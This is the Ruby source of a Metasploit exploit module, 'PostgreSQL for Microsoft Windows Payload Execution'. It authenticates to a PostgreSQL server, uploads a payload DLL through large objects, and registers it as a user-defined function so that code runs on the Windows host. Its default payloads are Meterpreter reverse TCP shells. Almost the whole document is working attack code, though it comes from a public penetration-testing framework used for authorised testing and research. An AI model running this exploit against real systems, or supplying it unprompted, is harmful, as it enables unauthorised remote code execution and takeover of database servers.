## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::OptionalSession::PostgreSQL # Creates an instance of this module. def initialize(info = {}) super( update_info( info, 'Name' => 'PostgreSQL for Microsoft Windows Payload Execution', 'Description' => %q{ On default Microsoft Windows installations of PostgreSQL the postgres service account may write to the current directory (which is usually "C:\Program Files\PostgreSQL\\data" where is the major.minor version of PostgreSQL). UDF DLL's may be sourced from there as well. This module uploads a Windows DLL file via the pg_largeobject method of binary injection and creates a UDF (user defined function) from that DLL. Because the payload is run from DllMain, it does not need to conform to specific Postgres API versions. }, 'Author' => [ 'Bernardo Damele A. G. ', # the postgresql udf libraries 'todb' # this Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL ], 'Platform' => 'win', 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } } ], [ 'Windows x64', { 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2009-04-10', 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) # Date of Bernardo's BH Europe paper. ) deregister_options('SQL', 'RETURN_ROWSET') end def check version = postgres_fingerprint if version[:auth] print_good "Authentication successful. Version: #{version}" return CheckCode::Appears("Authenticated successfully; PostgreSQL version: #{version[:auth]}") # WRITE permission needs to be proven to get Vulnerable else print_error "Authentication failed. #{version[:preauth] || version[:unknown]}" return CheckCode::Safe('PostgreSQL authentication failed') end end def exploit self.postgres_conn = session.client if session version = do_login(username, password, database) case version when :noauth; print_error "Authentication failed"; return when :noconn; print_error "Connection failed"; return else print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}") end fname = "#{Rex::Text.rand_text_alpha(8)}.dll" register_files_for_cleanup(fname) unless postgres_upload_binary_data(generate_payload_dll, fname) print_error "Could not upload the UDF DLL" return end print_status "Uploaded as #{fname}" begin func_name = Rex::Text.rand_text_alpha(10) postgres_query( "create or replace function pg_temp.#{func_name}()" + " returns void as '#{fname}','#{func_name}'" + " language c strict immutable" ) rescue RuntimeError => e print_error "Failed to create UDF function: #{e.class}: #{e}" end postgres_logout if @postgres_conn && session.blank? end # Authenticate to the postgres server. # # Returns the version from #postgres_fingerprint def do_login(user = nil, pass = nil, database = nil) begin password = pass || postgres_password vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn result = postgres_fingerprint( :db => database, :username => user, :password => password ) if result[:auth] report_service( :host => postgres_conn.peerhost, :port => postgres_conn.peerport, :name => "postgres", :info => result.values.first ) return result[:auth] else print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}") return :noauth end rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError return :noconn end end end